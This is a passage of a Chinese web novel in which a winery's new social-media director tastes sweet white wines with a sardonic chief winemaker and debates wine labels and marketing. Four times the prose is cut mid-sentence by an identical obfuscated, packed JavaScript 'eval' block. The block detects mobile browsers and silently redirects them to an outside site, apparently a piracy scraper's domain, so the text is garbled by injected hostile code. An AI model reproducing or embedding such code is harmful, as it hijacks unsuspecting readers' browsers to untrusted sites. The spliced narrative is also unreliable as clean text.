流量啊,我的流量啊!小杭总监痛不欲生地在心里哀叹道,这白白损失的流量,我要发布多少内容,才能重新挣回来啊! 双手插在西装马甲的口袋里,岳一宛突然间嗤声一笑。 “社媒账号上的内容?那肯定是发过的。”他说,“前任运营总监不就是专门干这个的吗。” “只不过,那家伙的心眼比葡萄核儿还小。我听人说,在离职之前,他把斯芸酒庄的所有的账号都给清空了,似乎是想要以此来作为报复?” 轻蔑地折起了唇角,岳一宛甚至懒得去掩饰自己的不屑。 “呵,真是好笑。他以为自己这是能要挟谁呢?” “……嗯?” 杭帆的八卦雷达登时滴滴作响。 还在上海总部坐班的时候,他们组隔壁就是品牌舆情检测的办公室。一到茶歇时间,大家最喜欢干的事,就是去找隔壁同事切个“瓜”来吃。 说来惭愧,小杭总监虽然生着一副冷剑拭霜般的凛丽面孔,但一听有瓜,两只耳朵就立刻高高地竖了起来。 “……所以,我的前任,因为讨厌你的缘故,把斯芸酒庄的所有社交媒体账号都清空了?” 不知道公司的法务部门最后会向这人索赔多少。但此君能干出这样壮举,那得是有多讨厌岳一宛啊? 这个念头刚一浮现,杭帆就赶紧咬住了自己的后牙槽:他怕自己笑得太过大声,被记仇的岳一宛送上胡萝卜大礼包。 “什么‘你的前任’‘我的前任’,别跟这种脏东西扯上关系。” 太平间的尸体都比岳一宛的语气更有温度。 “我讨厌那种死缠烂打又自我感动的人,刚巧,那人两样都占了。”酿酒师冷然道,“斯芸酒庄是工作场所,不是给他用来进行表演的舞台。既然他做不出成绩,又无法把专业地把公事与私情分开,那我也不介意伸手帮他一把——长痛不如短痛,早点滚蛋才是上上策。” 这故事听着像是最烂俗的职场情感纠纷,杭帆心想,他很是同情那位未曾谋面的受害人。 “因为情感问题而纠缠不放吗?这已经够得上性骚扰行为了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438196|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。希望当事人没有留下心理阴影。” “我有什么可阴影的?”疑惑反问的岳大师,睫毛忽闪,是纯粹的邪恶化身。 三秒钟后,他又换了副嘴脸,夹起嗓子甜滋滋道:“不过,还是谢谢你的美意。杭总监,你人可真好呀!” 杭帆闭上眼睛,在心里重重地踢了自己一脚。 要早知道是这厮,我才懒得关心他嘞! 可恶,人生为什么没有早知道?! “哦,对了。” 酿酒师一拍脑门,好歹算是想起了一些正事:“你现在用的是自己的相机吧?我记得酒庄有给上一个运营买过一些电子设备,应该都寄存在行政他们的仓库里。需要的话,你都可以去领出来用。” “顺便一提,咱们今天的课还没有结束。” 岳大魔头眉眼弯弯,肚子里的坏水摇得哐啷哐啷响:“但我要去邻居那里弄点教具回来。不如杭总监先去忙,咱们中午12点在员工宿舍的厨房见?” 被安排得明明白白的小杭总监,惆怅地掐灭了再躺下睡个回笼觉的最后一丝希望。 趁着岳一宛出去找“教具”(也不知这人又上哪里去祸害无辜了),杭帆终于得空,把斯芸酒庄的办公区域给好好转了一圈。 罗彻斯特的上海总部,人人西装革履,个个精妆严裹,是脂光粉艳又刀枪肃杀的名利场。相较之下,斯芸酒庄的办公室,就显现出了一片田园牧歌式的松弛与祥和。 这里的办公桌上没有网红连锁店的外卖纸袋,也没有浓郁逼人的大牌香水与护手霜,甚至连茶水间里摆着的都不是方方正正的即热饮水机——而是几只插着电的养生壶,正咕嘟咕嘟地煮着花茶与枸杞,十分的养生。 这种奇妙的质朴气氛,让杭帆久违地感到了一丝放松。 行政姐姐的性格非常随和,领取器材的手续也非常简单。不到五分钟,杭帆已经在登记薄上签完了字,抱着一大堆设备往门外走。 这也太丝滑了吧!小杭总监直呼舒适:瞧瞧人这工作氛围,瞧瞧人这办事效率!要是还能再加点儿工资……嗐,那还有谁会想要回总部受罪啊? 眼瞅还有一刻钟就到十二点,杭帆索性抱起了他新拿到的设备,早早地坐到了公共厨房的岛台边。 大理石制的岛台边缘有点硌人,但侧身依靠着岛台的杭帆小朋友正沉迷于调试他的那一大堆玩具,哪里还顾得了这个。 真好啊,能花酒庄的公款买设备。 小杭总监很是羡慕地摆弄着手里的去年最新款的平板电脑,心想:哪里像总部,光是申请新设备的审批流程就要一个月。唉……人比人得死,货比货得扔呐! 为测试平板电脑上的后置摄像头,杭帆准备在厨房里拍摄几段视频素材。冷不防一条系统提示跳出来,问:是否要同步云端账户中的数据备份? 数据备份?杭帆眼前一亮,难道是上一个运营拍的视频素材还没删光?天助我也! 他毫不犹豫地点下了“确认”。 然后,在5G网的高速加持下,一张张赤裸的半身照,如同激情喷溅出一摊呕吐物那样,在相册里飞快地增殖起来。 一个精瘦而黝黑的男人,正在照片里忘我地进行着某种“自我取悦”活动。 如果可以的话,杭帆真想戳瞎自己的双眼。 11. 免费午餐 在隔壁好邻居的酒庄里打了一轮秋风,岳一宛高高兴兴地回到了自己的地盘上。 不可否认,免费的酒就是最好喝的,在这一点上,岳大师也不能免俗。 他一进厨房,就见坐在岛台边的杭帆正低头狂戳一块平板电脑。 杭总监神色严峻,眉头紧锁,肩背微弓,像是一只身姿紧绷又鬼鬼祟祟的猫,随时都会被身后的黄瓜给吓到。 酿酒师情不自禁地联想起了那些整蛊白手套黑猫的恶趣味视频,立刻就给自己逗乐了,“噗哈哈哈”地狂笑出声。 果不其然,这动静把杭帆给结结实实地吓了一跳。头都还没来得及抬起,他人就已经就从椅子上弹射了出去。 “你……搞毛啊!?怎么过来了也不说一声??” 说这话的时候,杭总监面色如土,一双猫一样的凤眼都给他瞪成了正圆形。看来是真的吓得不轻。 岳一宛却直呼冤枉,“也没哪个公司会规定说,经过同事身后的时候非得出声打招呼不可吧?” “放心,放心,”这位大恶人还宽宏大量地挥了挥手,一派“天知地知,你知我知”的窃笑口吻:“无论你是上班偷摸着打游戏,还是光明正大地看起了演唱会直播,只要不妨碍别人的工作,这里都不会有人去向总部举报你的啦。” 杭帆淡色的嘴唇略动了两下,到底是没有再继续这个话题。他就像是短视频里那些漂亮又谨慎的黑猫,在陌生物品面前谨慎地翕动着了一下粉红色鼻头,最后决定掉头就走。 “你刚刚把什么东西给放进冰箱里了?” 他岔开话题的方法还是一如既往的生硬。 将食指贴在了唇上,岳一宛故作玄虚地挤了挤眼睛:“秘密。”他说,“而且现在已经是午饭时间了,我能否劳动杭总监的大驾,给我搭把手呢?” 回答他的只有一声认命似的叹气。 山野之间的酒庄生活堪称乏味。即便是那些出身于当地的青年,也总是更往那些繁华大城市——毕竟,葡萄园里可不会长出奶茶、宵夜、盲盒与电影。 在这些来了又走的年轻人之中,岳一宛也曾见过他们在节日聚餐时帮忙洗切配菜的样子:给菜叶匆匆沾了下水,连泥灰都没有冲刷干净;滚刀块切得像是行为艺术,一劈为二就算是完工…… 而杭帆和他们都不一样。 斯芸酒庄的新媒体运营总监,有一双灵巧又稳定的手,他择去根茎的动作娴熟,清洗菠菜与小番茄时还会逐一确认表面洗净与否。就连辛辣的洋葱,到了他手底下也都只乖巧地翻滚,在菜刀下变成细长均等的丝条。 拧着手里的黑胡椒研磨瓶,岳一宛收回视线,漫不经心地想:难怪古代的骚客们都爱咏唱什么“指若削葱”、“纤手破新橙”……厨子有一双漂亮的手,确实会让人更有食欲些。 “杭总监平时喜欢做饭?”他问,“我看你动作都挺熟练。” 杭帆正在把小番茄对半切开的那位,手上的菜刀应声一顿,似是在竭力忍耐把凶器砸向同事的冲动。 “我不喜欢做家务。”此人语气干瘪,浑似一颗在太阳底下曝晒了整三个月的新疆葡萄干:“任何形式的家务,我都很讨厌。” 说完,手起刀落,又有几颗圆圆胖胖的小番茄被应声腰斩,在砧板上迸溅出了酸甜的汁液。 “但做事情,要么彻底甩手不做,既然做了,就尽量做到最好。” 杭帆头也不抬地说道:“有始有终,至少能够对得起我自己。” 喔。岳大师莞尔,心说这话似乎不止是在讲切菜这件事而已。 “但话说,你不是说今天你来做中饭吗?” 直到给菠菜焯完了水,任劳任怨的小杭总监才终于想起了这点:“怎么感觉从头到尾都是我在干活……?” “绝对是你的错觉。” 厚颜做答的岳一宛,优哉游哉地在灶上架起了平底锅,手势花俏地往里加进了橄榄油。 三文鱼切块,用黑胡椒与柠檬腌制,煎到两面变色后捞出。 再用鱼皮煎出来的油将洋葱与蒜片炒香,加入小番茄,略微煮出茄汁后倒入白葡萄酒。 待酒精味蒸发殆尽之后,适量地点入奶油,稍作焖煮,放入焯水过的菠菜。 最后,用一小块黄油增香。 “杭总监,”菜还没出锅,主厨阁下又开始拖腔拖调地召唤的他的免费苦力了:“外面走廊上有几盆我种的香草,你看到过的吧?能认得出欧芹吗?剪几片叶子回来给我呗。” 好吧,世界上果然没有免费的午餐。 蹲在走廊上的小杭总监,一边艰难地用手机识图app分辨到底哪一盆才是那该死的欧芹,一边在心里郑重地写下了那句至理箴言:免费的东西,总是最贵的。 岳一宛这人,使唤起同事来就像玩开酒刀那样顺手。 “把欧芹切碎,撒到三文鱼上面就行。”他背对着杭帆关上了冰箱门,又踱到了到台前,不知在捣腾些什么:“餐具放在右手边的橱柜里,记得用大一点的深盘来盛。” 在已然麻木的心情里,拿起了锅铲的杭帆甚至觅得了几分得道超脱般的平静:“要是有下次,还是从一开始就让我来做饭吧。” 对于杭总监的这番引颈受戮,大魔头表示乐见其成。 “我是很乐意吃嗟来之食的。”岳一宛喜气洋洋地说道,“只不过,今天咱们还要上课,我也就只好委屈一下自己,亲自动手做一做教具啰。” 您这哪里是委屈自己啊,您这分明就是给自己找乐子来了。 杭姓跑堂伙计冷哼一声,一手端起一盘奶汁三文鱼,稳稳当当地搁在了桌上。 再一抬头,就见岛台上摆出了一溜高脚玻璃杯:不同于昨日那些红酒杯的大腹便便,这几只酒杯的杯底,只如礼服裙摆般略略放宽一些。杯身略略收拢,杯口则又优雅地轻微打开,如同喇叭花的花苞一般。 “你的那几杯,我都只在杯底倒了两口的量。” 岳一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438197|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宛忍不住感叹,自己可真是个体贴的好老师。 “当然,就像我之前说过的,尝完味道之后都可以直接吐掉。酒量是勉强不来的哦,杭总监!” 而他的好学生似乎在考虑怎么才能一头撞死在公共厨房的中央岛台上。 同样是白葡萄酒,同样是剔透晶莹的玻璃杯,盛着酒液的三只杯子却明显呈现出了不同的颜色。 第一杯是琥珀般浓郁的金色。 倘若在场的是爱与美的女神阿芙洛狄忒,恐怕要疑心这是她的黄金花冠在杯中溶解。 杯身摇动间,些微粘稠的酒液就如蜜糖般地挂着在了杯壁上,香甜的气味争先恐后地亲吻上杭帆的脸颊,像是小时候吃过的糖水黄桃罐头。 “这支是中法庄园的小芒森甜白葡萄酒。”岳一宛把酒标转过来给杭帆看。 按照葡萄颜色,葡萄酒可以大致分为红葡萄酒与白葡萄酒两种。也可以按照酒中的含糖量,大致分为甜型与干型这两大类。 这种最大众化的基础知识,杭帆还是略有耳闻的。 “旁边这一支,来自我们亲爱的好邻居龙亭酒庄,‘东方美人’。” 看来这打家劫舍的勾当是真的很让人快乐。因为岳大师笑得脸都要歪了,也不晓得这厮到底是在别人家里干了什么坏事:“嗯,没错,是我刚去他们那里薅来的。” 第二杯是灿烂如夏日朝阳的淡金色。 它令人联想到一切温柔而隽永的事物,比如妈妈在出门野餐时戴的草帽,比如珍藏多年的好友信件。 微晃的杯身,令酒液如金色池水般荡漾,而那份在杯壁上优雅来去的流动感,也使每一个持杯的人都感到身心舒畅。 即使把杯身远置于胸口,这馥郁迷人的清爽香气也丝毫不会褪色:它闻起来就像是一杯甜津津的蜂蜜水,又加入了一点点柚子果粒似的酸,尾调中还带着一丝悠远如歌谣的隐约花香。 如果说,“斯芸”与“兰陵琥珀”的香气复杂而深邃,像是毕加索与米罗的超现实主义画作那样令杭帆头晕目眩的话,那这支“东方美人”,就是童话书里活泼秀雅的插图,简单易懂,明亮又欢快,富于幻梦般轻缱的柔情。 “‘东方美人’,真是个好名字。”杭帆情不自禁地感叹,“这香气和名字,会让人联想到吴门画派的工笔仕女图。” 斯芸的首席酿酒师不由莞尔。 他亮出了瓶身上的酒标:半掩的团扇下,宫装女郎正抿嘴而笑。 “我喜欢国产葡萄酒的理由之一,就是它们的酒标都很有趣。” 用与伙伴分享心爱玩具似的口吻,岳一宛兴致勃勃地道:“你知道吗?即使是在全世界范围里,国产葡萄酒的酒标都是设计得最漂亮的!酿酒师不仅可以在酒标里尽情抒发自己对这支酒的理解,还可以用酒标来致敬自己热爱的一切!” 他的眼神闪亮,满是憧憬,好似翠绿色宝石磨琢成的星星。 “酒标,就是酿酒师的个性签名啊!” 12. 对神与王的反叛 杭帆记得很清楚,“斯芸”的酒标上只有金箔烫印的斯芸二字。 大道至简,大音希声,这一笔婀娜婉转的瘦金体,写在触感如云朵般绵绒的特种纸上,是不用标价都能感知到的昂贵。 而“兰陵琥珀”的酒标则是一方小小风景图,工整的墨线,规规矩矩地描出斯芸酒庄所拥有的起伏梯田与广阔葡萄园,一板一眼得几乎不带有任何感情色彩。 可能还是因为我的艺术鉴赏能力太浮于表面了。杭帆心想,所以才无法从酒标上看出任何“个性”与“热爱”的要素来。 深感羞愧的小杭总监,不由自主地在心里进行起了反思。 “那,斯芸的两款酒标,是在表达了你的思想感情吗?”敏而好学的杭帆同志,迅速翻开了自己脑子里的小笔记本:“那是一种……什么样的感情?” 这句话,像是给时间摁下了暂停键似的,让岳一宛手里的叉子都在原地凝滞了半秒。 一时间,首席酿酒师的表情复杂到精彩纷呈,仿佛杭帆刚刚徒手往他嘴里塞进了一只椒盐五香大蟑螂。 “首先,我要郑重声明。” 岳一宛的招牌笑容在他自己的脸上摇摇欲坠,像是一蓬因陈放太久而整个儿塌陷下去了的奶泡:“虽然我是斯芸的酿酒师,但斯芸的酒标,和我本人,这两者之间绝对没有任何一毛钱的关系。” “2011年,酒庄装瓶了他们的第一支‘斯芸’。那年后,我都还没有开始在斯芸工作呢!” 这人如此气急败坏的样子,杭帆还是头一回见到。他心头登时大乐,不禁暗暗忍笑腹诽道:哎哟哟,岳大师,你这急于撇清自己的模样,真的很像是那些在好莱坞记者会上跳脚大喊说我没有出轨的渣男诶。 大约是近朱者赤而近墨者黑的缘故吧,小杭总监也故作无辜地掀了掀眼睫,语气纯真地发问:“诶,可是昨天上课的时候,你不是还说,‘兰陵琥珀’是你入主斯芸之后,负责为酒庄酿造的第一支副牌产品吗?” “那是因为……哼!还不是因为当年我提出的几种方案,都统统被上面给否了吗!” 凶神恶煞地,岳一宛剁下了一块三文鱼。他气势汹汹地捏着手里的餐叉,硬生生架出了一副堪比关公舞大刀的气势。 “说来说去,不还都是什么品牌调性、客户定位之类的无聊东西。” “他们大概是觉得,愿意花五六千块钱购买一瓶葡萄酒的客户,都是些崇拜‘老钱风’与‘贵族血统’、言必称‘法国’、行必效仿所谓‘名门传统’的人。” 仿佛是一匹因被困于棚圈中而踢踏不满着的汗血宝马那样,岳一宛从鼻子里哼出了重重的几声。 “‘要怎么样才能让中国葡萄酒变得好卖呢?’”他阴阳怪气地捏起了嗓子:“‘那就给酒标也画上城堡和庄园,然后开始期待会有眼瞎的傻子把它们当成法国葡萄酒给买下吧!’” 酿酒师的讥诮发言,令杭帆顿有醍醐灌顶之悟。 “原来是这样……”他喃喃。 “难怪,‘兰陵琥珀’的酒标设计虽然也用了中国元素,但乍一看去,倒像是把法国的酒标用毛笔重画了一遍。” 真是可悲。他禁不住就要这样想。 一座酒庄,历经十几年风云变化,不知投注了多少人近半生的心血,到了最后,引以为傲的产品,竟然还是只能装瓶进了对所谓“法国名庄”的拙劣模仿里。 岳一宛不知杭帆心中的闪念,神情依旧是三分笑意里掺着两成恼火,还有一分爱恨昭彰的咬牙切齿。 “早晚有一天,”他竖起餐叉,指天为誓:“我要把‘斯芸’和‘兰陵琥珀’的酒标全都给换掉。” 发愿立誓,大多都只是一时放出的狠话。更改前人留下的酒标,难度不亚于奢侈品品牌更换商标。 可杭帆却莫名地相信,面前的这个人真的能够言出必行。 “酒标就暂且说到这里,我暂时还不想起那些讨厌的人和讨厌的事。” 斯芸的首席酿酒师放下餐叉,拿起纸巾优雅地擦了下唇,旋即矜贵地拈起酒杯,屈指敲了敲小杭总监面前的桌子:“回到我们的课上来,杭帆你面前还有第三杯酒呢。” 第三杯白葡萄酒是极浅淡的金。 似有若无之中,似乎有青柠檬般的生脆绿调在偷偷向你眨眼。 杭帆举杯轻晃,闻到清晰凛冽的水果酸味:那是一种毫不迂回、干脆又果断的酸与香,仿佛是一颗刚切开的青苹果,又像是用力挤握了半颗切开的柠檬。 “……这支也是甜型的酒?” 小杭总监的鼻子说它可不这么认为。 “你尝一口就知道了。” 岳大师循循善诱,口吻像极了那些正试图要把漂亮流浪猫诱拐回家的好心人:“实践出真知啊,我的朋友。在葡萄酒的事情上,我怎么会骗你呢?” 你还不如直接在脸上贴个“此地无银三百两”的条儿得了。杭帆心想。 但为了获得第一手的知识,这坑不跳不行。于是他毅然决绝地举起了杯子——然后,像猫咪舔水那样,万分谨慎地在杯边抿了一小口。 差点给他酸得连眉毛都飞了出去。 “不喜欢酸的?嗯,意料之中。” 把餐盘往杭帆手边推了推,岳一宛单手托腮,笑得非常欢乐:“毕竟咱们杭总监嗜好甜口的嘛。” 半句废话也不和这人多说,杭帆叉起三文鱼就往嘴里送。 他大力咀嚼着鱼块,只在丹凤眼里射出两道凌厉目光,剔骨刀般凶恶地扎在岳一宛的胸口,大约是在思忖着要如何食其肉寝其皮吧。 而岳一宛在精神层面上是真的皮粗肉糙。面对小杭总监的无言讨伐,他竟还有脸把先前的那两杯酒重又端到了杭帆面前,道:“好啦,不骗你,现在的这两杯真的是甜的。来尝尝看?” 杭帆:“……” 感性告诉小杭总监:轻信岳一宛,会被骗得连裤衩都不剩。 理性也在耳边轻语:不信岳一宛,你的年终奖就难逃一死。 “你至少也让我做个心理建设。” 小杭总监做出了最后的无用挣扎,“从0到10,这两杯大概会有多酸?我去给自己倒杯水先。” “我保证,方才的那杯已经是最酸的了。” 岳一宛托着下巴,咭咭咕咕地发出坏笑:“你快喝吧,趁着还没遗忘刚才的味道,赶紧把这三杯放一起做横向对比。” 在这种无耻大恶人面前,杭帆哪里还能有什么逃脱的办法。他也不过只是一个寄身于斯芸酒庄的可怜打工仔罢了。 硬起头皮,小杭总监从第一个杯子里抿了一口。 下一刹那,极致的甜在口腔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438198|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里炸开,像是嚼碎了一颗多汁的糖果爆弹,又像是啜饮着一杯蜂蜜。 这酒是甜的,他想,确实是甜的。 杭帆感觉自己的脑子都像是被糖份给炸懵了,一时之间,他能想到的东西,除了“甜”,就还是“甜”。 “这是葡萄酒?”杭帆不可置信,“这简直就像是……” 他摇了摇头,低头看向了手中的酒杯,仿佛要再次确定口腔里流淌过的甜蜜液体,确确实实是由葡萄酿造而成的。 “西方神话里都曾提到过一种蜜酒。”他说,“我小时候曾经努力地去想象过它的味道。” “能让众神之父都称其为‘珍贵’的蜜酒,能登上国王的宴会餐桌、并令酒神都开怀到愿意赐予神迹的‘蜜酒’,它究竟会是什么味道?到底会有多好喝?” 只不过喝了小小的两口而已,杭帆自认为这还远没到会醉酒的地步。可超量的糖份迅速给大脑带来了无上的愉悦,还有杯中那愈发浓郁芬芳的、好似渐行渐近般的花香,快乐的气氛简直是打折旋儿地在他的舌尖上跳舞。 “而现在,我会猜,能让屠龙的英雄壮起胆气、令濒死的诸神都露出微笑的蜜酒,也应该就是这个味道了。” 平日里的岳一宛,微笑眉眼里总潜藏着一种锋锐的东西,像是一把收拢在掌心里的薄刃,随时随地做好了出刀的准备。 但这一刻,他的眼角温柔地弯曲了起来,连尖利冰棱都在暖春里悄悄融化。 “这支就是中法庄园的小芒森,”他说,“听到你这样不遗余力的褒美,它的酿酒师一定会很高兴。” 尽管杭帆夸奖的是别人,可岳一宛的语气中却同具一份与有荣焉的欢欣。 “‘Nectar’一词,希腊神话中谓之为诸神饮馔用的蜜酒,后来这个词在英文里引申出‘花蜜’或‘蜜浆’的意思。” 徐徐拈捡起了这些来自公元纪年之前的遥远典故,酿酒师的语气亲切又熟稔,仿佛是在点检着自家收藏的珍宝。 “在史诗与歌谣里,饮用蜜酒,惯来是天神、英雄与贵族的特权。因为这份甜蜜的滋味是如此的稀有,甚至远比普通人的性命更昂贵。” “因为蜂蜜香甜,而又近乎‘永不腐败’,所以上古时代的希腊人认为最神圣高贵的酒理就应用蜂蜜来酿造,罗马贵族也爱往他们的上等葡萄酒里多多地加入蜂蜜。最唾手可得的普通葡萄酒,则常被认为是庸俗的水酒,是贱民与穷人才会去喝的东西。” 在数百甚至上千年的历史中,在农学家与种植者们的不懈努力之下,含糖量更高的葡萄终于从大地里诞生。 经过无数次的技艺改良,经过一代又一代酿酒师的手,人们终于酿造出了比真正的蜜酒还要醇厚、香甜得连天上诸神都不曾敢于想象的葡萄酒。 “最重要的,它的价格也并不高昂。三百块,你就能够享用到足以让奥丁和宙斯都嫉妒得发狂的佳酿。” 斯芸的首席酿酒师执起了酒杯,甘醇的液体摇曳着黄金般璀璨的闪光。 “猜猜历代的皇帝与国王们都会怎么想这事儿?啧啧,依我看,这简直是在‘特权’的脸上扇了一个巴掌。” 锵啷一声,两只酒杯的杯壁轻撞。 “来吧,敬劳动者的智慧。” 岳一宛高高举杯:“这是我们对神明与国王的反叛。” 13. 甜蜜敲门砖 餍足地放下酒杯,杭帆将视线转向了第二个杯子。 如果这是一场甜白葡萄酒之间的擂台赛,有中法庄园的这一支珠玉在前,很难想象“东方美人”要如何才能胜出。 室内正是温暖怡人的温度,冰透了的白葡萄酒,散淡地浮着几枚细碎的气泡,在酒杯的杯壁蒙现了一层薄薄的水雾。清凉得像是度假中的夏日。 杭帆垂下眼睫,将杯中酒送入口中。 和前一支酒相比,“东方美人”并不具有那份浓缩到惊人的甜。它略显克制的甜度,恰到好处地压过了白葡萄的酸,形成了一种清透沁人的甜美。 它是一支优雅到近乎于具备古典风情的酒,像是中国神话里的玉液琼浆,令人在唇齿间品尝到了回味的悠长幸福,却又不会因此而陷入狂喜与烂醉的癫癔中。 闭上眼睛的杭帆,任由那一口酒液浸润着舌尖。 尽管此刻,大脑并没有像为爱豆打call的粉丝那样疯狂地分泌多巴胺,但他却清晰地体会到了酸与甜的巧妙平衡:如同胭脂红与孔雀蓝的两色丝线,彼此互为经纬,互相穿插缠绕,最终织就出一副令人百看不厌的明快图案。 而在舌面上蹦跳翻滚着前进的,是来自酒精的微微辛辣感。如同一串滋啦作响的小小电火花,它为酸甜的快乐中加入了一点点的刺痛,带来更加复杂的味觉体验。 ——这种芬芳而甜蜜,微酸中又带着一丝疼痛的感觉,就像是……纯洁的、明净的、初恋的滋味。 杭帆一睁开眼,就看见岳一宛那张怼上门来的大脸。 “在想什么呢?” 《岳氏汉语大词典》里似乎压根儿就不曾收录过“距离”与“分寸”这个两词。 他的鼻尖距离杭帆的睫毛不过十厘米之距,一双浓夏深潭般的眼睛绿汪汪地看过来:“怎么突然哑巴了?不对啊,我也没在酒里下过鸩毒啊。” 嘎嘣一声,杭帆在心里用力捏碎了“初恋”两个字。 酒中的酸味原来是我破碎的道心啊。他面无表情地想道,酒精的刺痛,就是我那极其完美却惨遭这厮一票否定的直播计划啊…… 杭帆自己并不知道,在先前的那一刻,当他低睫垂眸的时候,自己的脸上曾短暂露出了一瞬朦胧的微笑。 而岳一宛始终都在看他。 他看着杭帆脸上浮现出的笑意,明明只是若有若无的一点,却如唤醒了夜明宝珠的一丝微光,将整座暗室都彤然照亮。 可那笑容又是如此的邈远,如此地难以把握又触不可及,如同携着缥缈歌声的山风,在千里之外的群山下独自回唱。 这突然让岳一宛心中生出一丝无名的焦躁。 于是他出声打断了杭帆的遐思,成功地在对方脸上看到了那份“敢怒,但懒得敢言”的熟悉表情。 很好。 这厮满意地点头,竟还在心中洋洋自得起来:现在是我在上课,做学生的怎么能自说自话地走神呢? 只一个没注意,刚刚被他逼进了岛台角落里的杭帆,已经默默地拿起酒杯,自个儿转到了岛台的对面坐下了。 对此,岳一宛心中属实有些不满。但他一时半会儿也没想通自己到底在不满个什么劲,于是只得扁起了嘴,问:“那么杭总监对这支酒有什么评价?” “我觉得,对于从未接触过葡萄酒的消费者而言,这支‘东方美人’或许是最完美的入门级教科书。”杭帆说。 明明正式开始接触葡萄酒也才是这两天的事情而已,而他却已经就丝滑地利用自己的职业视角来思考这个问题了。 “之前,我看过一份快消行业的酒水类目相关报告。与上一辈常在宴请场合喝白酒与黄酒的消费习惯相比,年轻一代更偏爱甜味明显的酒精类饮料,比如各种果酒,还有预调鸡尾酒。” 每当说到他自己专业领域内的话题时,杭帆总是不由自主地将语速加快。 岳一宛注意到,这人连呼吸都变得有些急促,双颊泛红,睁圆的眸子与挑起的眼尾里都闪耀着意气风发的光——在这个时候,杭帆本人就如同他的名字那样,正像一艘在被海风吹满了帆的小船,迫不及待地要去破浪远航。 “对于普通的消费者来说,葡萄酒似乎具有一道难以逾越的高大门槛:觉得它是舶来品,又酸涩又难喝,还有什么醒酒和适饮温度等规矩,又复杂又听不懂。” 杭帆伸出手来,在空中虚虚画了一个圈:“我觉得,全部的这一切,也就是在当年为葡萄酒构建出了‘高端大气上档次’形象的那些话术,在今天,已经成为了阻碍年轻人接触葡萄酒的主要原因。” “可是,如果摆在面前的是这一支‘东方美人’的话?” 他的眼睛里闪烁着亮晶晶的光彩,像万花筒中的奇景般引人沉醉。 “既没有那种讨厌的涩感,又符合大家嗜甜的口味,冷藏一会儿就能很好喝——这不就是最适合用来勾引消费者尝试‘葡萄酒’这个东西的选项吗?” “即使是在餐厅,或者朋友聚会上偶然喝到了这样的一杯酒,它无与伦比的亲和力,一定会成为大家想要更进一步地品尝葡萄酒的契机吧?” “停一停,停一停。” 岳一宛截住了他的话头:“我大概能猜到你的想法。你是想说,如果能有一块合适的敲门砖,能让更多消费者轻易地体会到葡萄酒的美妙之处,那就一定会有更多的客人开始消费葡萄酒——我们的杭总监甚至可能已经开始思考,是否能在斯芸酒庄的账号里,有意提及到我们这位酿造‘东方美人’的可爱邻居了对吧?” “如果把能整个中国葡萄酒的市场都变得更大的话,身处行业之中的斯芸酒庄,当然也就一定能够卖出更多的酒,这是最好的设想。也是我们所有人都曾经有过的设想。” 站在行业长久发展的立场上来进行思考,而不只是“多快好省地卖出更多的酒”。这已经是一件足以令每个酿酒师都深感动容的态度了。 可是。可是啊。 “但这个想法并不现实。” 斯芸的首席酿酒师只做了一句简略评价。 杭帆稍稍扬了下眉头,“我能理解。” 他的态度倒是比岳一宛想象得要更加平静许多。 “虽然蓬莱的酒庄们互为邻居,但归根结底,大家在市场上毕竟也是互为竞争对手的,这点我完全能够理解。而且, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15438199|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身为斯芸与罗彻斯特集团的打工人,我也不可能用自家酒庄的账户去为隔壁的产品做推广与宣传。” “但是,斯芸酒庄完全可以自己酿造一款甜型的白葡萄酒。”他说,“这应该不是一件特别困难的事情吧……?” 这一次,轻快的笑容从岳一宛的脸上消失了。就像是雨水渗进了沙地里,只模糊地残留下一点潮湿的痕迹。 这像是一种奇怪的往日重现。岳一宛想。只不过是对话的那个声音,从自己的自言自语,变成了面前的杭帆。 杭帆啊杭帆。岳一宛忽得想笑,却又无不刺痛地咬牙:这个杭帆,聪敏到足以敏锐地察觉到市场的真正痛点所在,却又天真得看不透这一切背后的畸形商业法则。 “斯芸酒庄不能酿甜白葡萄酒。”他说。 “为什么?” 